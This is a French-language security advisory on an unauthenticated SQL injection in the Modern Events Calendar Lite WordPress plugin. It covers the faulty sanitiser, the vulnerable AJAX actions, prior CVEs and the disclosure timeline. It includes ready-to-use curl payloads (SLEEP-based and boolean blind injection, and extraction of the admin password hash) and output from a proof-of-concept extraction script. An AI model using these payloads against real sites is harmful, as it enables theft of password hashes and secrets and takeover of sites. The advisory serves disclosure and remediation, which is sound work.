
Modern Events Calendar Lite <= 7.33.0 — Injection SQL non authentifiée
| Détail | Valeur |
|---|
| Extension | Modern Events Calendar Lite |
| Slug | modern-events-calendar-lite |
| Auteur | Webnus |
| Versions affectées | <= 7.33.0 (la version Lite actuellement distribuée par le fournisseur). Le bug est présent sur toute la gamme post-w.org ; confirmé en laboratoire sur 6.5.6 et 7.33.0, confirmé statiquement en 5.21.2. 6.5.6 = dernière version wordpress.org (figée lors de la fermeture du 2022-05-11) ; 7.33.0 = version actuelle distribuée depuis mec.webnus.net |
| Installations actives | Compteur wordpress.org masqué depuis la fermeture ; historiquement 100 000+. Toujours activement distribué/mis à jour par le fournisseur (Lite via mec.webnus.net ; le même code 7.x sous-tend le MEC Pro commercialisé) |
| CWE | CWE-89 (Injection SQL) |
| Vulnérabilité | Injection SQL aveugle non authentifiée (temporelle / booléenne / basée sur les erreurs) |
| Privilège requis | Aucun (wp_ajax_nopriv_* — pré-authentification) |
| Interaction utilisateur | Aucune |
| CVSS v3.1 | 7.5 (Élevé) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Statut | Vérifié en laboratoire de bout en bout sur 7.33.0 (actuel) et 6.5.6 (WordPress 6.6.5, MariaDB 10.x) |
| CVE / GHSA | CVE-2026-11349 |
Modern Events Calendar Lite enregistre une famille d'actions admin-ajax.php "load more" non authentifiées pour ses skins de liste d'événements (list, grid, masonry, agenda, timeline, tile, custom). Chaque gestionnaire lit le tableau de requête atts contrôlé par l'attaquant, le fait passer par une fonction auxiliaire nommée sanitize_deep_array() qui — lorsqu'elle est appelée avec ses arguments par défaut — n'effectue aucune désinfection du tout — puis concatène les valeurs atts['include'] (et atts['exclude']) brutes dans un fragment SQL post_id IN (...) exécuté avec $wpdb->get_results() et sans $wpdb->prepare().
Comme les points d'entrée sont enregistrés sur wp_ajax_nopriv_*, aucune authentification, aucun compte, nonce ou interaction utilisateur n'est requis. Un attaquant distant non authentifié peut injecter du SQL arbitraire dans la clause WHERE d'un SELECT sur wp_mec_dates et lire toutes les données de la base WordPress (empreintes de mots de passe utilisateur, secrets/clés wp_options, données d'autres extensions) via des techniques aveugles temporelles / booléennes / basées sur les erreurs.
app/libraries/main.php:9607 :
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
if(!is_array($inputs)) return $inputs;
$sanitized = array();
foreach($inputs as $key => $val)
{
$p = $path.$key.'.';
if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
or (is_array($excludes) and !count($excludes))) // line 9615
{
$sanitized[$key] = $val; // <-- RAW passthrough, no sanitization
continue;
}
// ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
}
return $sanitized;
}
La garde (is_array($excludes) and !count($excludes)) fait de la fonction une pure opération nulle lorsque $excludes est le tableau vide par défaut — chaque valeur est recopiée telle quelle. L'intention était visiblement "s'il existe une liste d'exclusion, ignorer ces clés" ; la logique booléenne ignore au contraire tout lorsqu'aucune liste d'exclusion n'est fournie.
$excludesapp/skins/list.php:499-501 (load_more()) :
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date); // line 501
sanitize_deep_array($_REQUEST['atts']) est appelée avec un seul argument → $excludes prend par défaut array() → la branche d'opération nulle ci-dessus → $atts est la valeur brute et non fiable de $_REQUEST['atts'].
IN (...)app/libraries/skins.php :
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
$where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";
// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
$where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";
Les éléments du tableau sont directement intégrés via implode() dans la chaîne SQL, sans cast entier ni échappement. (absint()/(int) sur chaque élément aurait fermé cette faille.)
app/libraries/db.php:79 :
public function select($query, $result = 'loadObjectList')
{
$query = $this->_prefix($query); // only swaps `#__` for the table prefix
$database = $this->get_DBO();
if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K); // line 87 — no prepare()
// ...
}
La chaîne entièrement construite est transmise telle quelle à $wpdb->get_results().
Flux de contamination (requête → puits) :
$_REQUEST['atts'] (attacker-controlled, unauthenticated)
→ app/skins/list.php:501 sanitize_deep_array($atts) (NO-OP: default empty $excludes)
→ MEC_skin::initialize($atts) ($this->atts = raw atts)
→ app/libraries/skins.php:606 "... post_id IN (".implode(',', $this->atts['include']).")"
→ app/libraries/db.php:87 $wpdb->get_results($query) (no prepare)
app/skins/list.php:51-52 :
$this->factory->action('wp_ajax_mec_list_load_more', array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more')); // <-- unauthenticated
L'enregistrement nopriv rend le point d'accès atteignable avant toute authentification. La même structure de load_more() et le constructeur de requête partagé skins.php sont présents dans les skins frères, chacun avec sa propre action wp_ajax_nopriv_*, de sorte que la même injection est atteignable via l'une quelconque des :
Action AJAX (nopriv) | Gestionnaire du skin |
|---|---|
mec_list_load_more | app/skins/list.php:497 |
mec_grid_load_more | app/skins/grid.php:497 |
mec_masonry_load_more | app/skins/masonry.php:229 |
mec_agenda_load_more | app/skins/agenda.php:242 |
mec_timeline_load_more | app/skins/timeline.php:242 |
mec_tile_load_more | app/skins/tile.php:446 |
mec_custom_load_more | app/skins/custom.php:233 |
Aucun nonce n'est vérifié dans load_more(), et l'action n'exige la présence d'aucun shortcode d'extension sur une page — les gestionnaires AJAX sont enregistrés inconditionnellement à l'initialisation.
Toutes les requêtes sont non authentifiées (aucun cookie, aucun nonce). La valeur injectée est placée dans atts[include][] ; la charge utile ferme les deux parenthèses ouvertes du groupe IN ((...) AND (... IN ( et ajoute un OR <sleep> de niveau supérieur pour que la condition soit évaluée pour chaque ligne analysée, puis commente la fin )) ORDER BY ... :
TARGET='https://victim.example' # plain permalinks: use admin-ajax.php directly
# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0'
# → ~0.27s
# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
# → ~3.04s ← SLEEP(3) executed
# 3) Boolean oracle (true vs false)
# atts[include][]=0)) OR IF(1=1,SLEEP(3),0)# → ~3.06s (TRUE)
# atts[include][]=0)) OR IF(1=2,SLEEP(3),0)# → ~0.04s (FALSE)
# 4) Real data extraction (blind), e.g. admin password-hash first byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
# → ~3.04s ← TRUE: admin hash begins with '$' (phpass)
La requête exacte exécutée (capturée depuis WP_DEBUG_LOG) pour une valeur canari d'erreur atts[include][]=0)MEC_SQLI_CANARY était :
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC
— le jeton littéral MEC_SQLI_CANARY apparaît tel quel dans l'instruction exécutée, confirmant la concaténation brute. Le paramètre atts[exclude][] (skins.php:803 / 603, NOT IN) est injectable à l'identique (confirmé en laboratoire : atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). La requête et l'injection identiques ont été reproduites sur 7.33.0 (version actuelle) — même canari, même comportement SLEEP.
mec-unauth-sqli-poc.py (inclus) est entièrement autonome et ne nécessite aucun identifiant : il confirme l'injection (référence vs SLEEP), puis effectue une extraction aveugle temporelle de données arbitraires (par défaut : @@version, utilisateur de la base, et user_login:user_pass du premier administrateur). Il valide chaque réponse (HTTP 200) et espace les requêtes avec --delay + back-off pour survivre aux WAF/limiters de débit (par ex. mod_evasive). Aucune donnée n'est modifiée (contexte SELECT en lecture seule).
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s sleep-case=3.04s threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...
Accès non authentifié, accessible depuis le réseau, en lecture complète de la base de données : empreintes de mots de passe wp_users, wp_options (auth_key, secrets API, jetons), et toute autre table. En pratique, cela s'enchaîne en prise de contrôle totale du site (craquage de hash hors ligne, vol de secrets/sessions). L'impact sur l'intégrité est limité — l'injection s'exécute dans un SELECT via $wpdb->get_results(), qui ne permet pas les requêtes empilées — d'où I:N. Des SLEEP/BENCHMARK intensifs pourraient dégrader la disponibilité, mais l'impact principal, démontré de façon fiable, est la confidentialité (C:H), ce qui donne un CVSS 7.5.
Les numéros de ligne sont donnés pour 7.33.0 (actuel) avec 6.5.6 entre parenthèses ; le code est identique sur toute la plage.
| Fichier | Ligne (7.33.0 / 6.5.6) | Problème |
|---|---|---|
app/libraries/main.php | 11726-11734 / 9607-9619 | sanitize_deep_array() est une opération nulle lorsque $excludes est le tableau vide par défaut (la garde !count($excludes)) |
app/skins/list.php | 535 / 501 | atts lu depuis $_REQUEST et passé à sanitize_deep_array() sans $excludes (dans load_more(), 532 / 497) |
app/skins/list.php | 53 / 52 | wp_ajax_nopriv_mec_list_load_more → point d'entrée non authentifié |
app/libraries/skins.php | 806 / 603-606 | Tableau include / exclude concaténé via implode() sans échappement dans post_id IN (...) / NOT IN (...) (exclusion à 803 / 603) |
app/libraries/db.php | 79-93 (87) | MEC_db::select() exécute $wpdb->get_results() sans prepare() |
Les skins frères (grid, masonry, agenda, timeline, tile, custom) partagent le même load_more() + constructeur de requête skins.php et enregistrent chacun une action wp_ajax_nopriv_* → même bug, multiples points d'entrée.
Il s'agit d'un point d'injection distinct et jamais signalé auparavant. Chaque injection SQL MEC documentée publiquement cible une action et un paramètre AJAX différents, et toutes ont été corrigées dans des versions antérieures à cette découverte (elle est confirmée active en laboratoire dans 7.33.0) :
| Référence | Authentification | Action AJAX | Paramètre | Corrigé dans |
|---|---|---|---|---|
| CVE-2021-24946 | Non authentifié | mec_load_single_page | time | 6.1.5 |
| CVE-2021-4458 | Non authentifié (uniquement si addslashes/l'échappement des entrées est désactivé) | mec_load_single_page | id | 6.4.0 |
| CVE-2021-24149 | Authentifié (auteur+/abonné) | mec_fes_form | mec[post_id] | 5.16.6 |
| Ce rapport | Non authentifié (aucune condition préalable) | mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more) | atts[include][] / atts[exclude][] | non corrigé (≤ 7.33.0) |
mec_load_single_page ; celui-ci se trouve dans la pagination « load more » des skins (load_more() → MEC_skin::initialize() → constructeur post_id IN (...) de app/libraries/skins.php), atteinte via la branche par défaut sans effet de sanitize_deep_array(). Les correctifs de mec_load_single_page ne touchent pas skins.php.id) n'était exploitable qu'avec l'échappement d'entrée PHP/WordPress désactivé (un état non par défaut) parce que cette valeur se trouve dans un contexte entre guillemets. Ici, les valeurs atts[include]/atts[exclude] arrivent dans un contexte numérique non entre guillemets IN(...) et sont exploitées avec des parenthèses + mots-clés SQL (0)) OR SLEEP(3)#), ce que wp_magic_quotes() ne neutralise pas. C'est donc exploitable sur une installation WordPress par défaut — confirmé en laboratoire sur WP 7.0 standard (magic quotes activés).mec_load_single_page (6.4.0).Modern Events Calendar Lite a été retiré de wordpress.org le 2022-05-11 (« Raison : violation des directives »), de sorte que la version wordpress.org est figée en 6.5.6. Cela ne signifie pas que l'extension est abandonnée — Webnus a poursuivi le développement hors plateforme : la version Lite actuelle distribuée depuis mec.webnus.net est la 7.33.0, et le chemin de code vulnérable y est identique octet pour octet (confirmé en laboratoire ; l'injection SQL se déclenche à l'identique sur 7.33.0). Le bug affecte donc toutes les versions de la gamme post-retrait, pas seulement la copie figée de wordpress.org.
Implications pour l'acheminement de la divulgation (l'objection « fermé sur wordpress.org » est bien plus faible qu'il n'y paraît) :
app/libraries/skins.php, app/libraries/main.php, et app/libraries/db.php sont des bibliothèques centrales partagées, donc Pro est quasi certainement affecté. Cela devrait être confirmé contre le code source de Pro avant de l'affirmer formellement, mais l'architecture de bibliothèques partagées le rend très probable. Un impact Pro confirmé rend la découverte sans ambiguïté dans le périmètre de Patchstack (un composant vendu publiquement) et mérite un CVE MITRE/Patchstack indépendamment du statut de la liste wordpress.org.Un CVE est justifié au fond : injection SQL non authentifiée, accessible depuis le réseau, permettant la lecture complète de la base, dans un produit actuel distribué par le fournisseur avec une base d'installations historiques à six chiffres.
| Date | Événement |
|---|---|
| 2026-06-03 | Découvert lors d'une revue automatisée d'extensions ; vérifié de bout en bout (non authentifié) sur MEC Lite 6.5.6 (version figée wordpress.org) |
| 2026-06-04 | Revérifié de bout en bout sur 7.33.0 (Lite actuel distribué par le fournisseur depuis mec.webnus.net) ; code/injection identiques confirmés — la découverte est actuelle, pas un artefact de version retirée |
| 2026-06-04 | Notification au fournisseur (Webnus) + demande de CVE WPScan ; confirmer que MEC Pro partage le même chemin |
| 2026-06-05 | Vulnérabilité vérifiée et CVE attribué |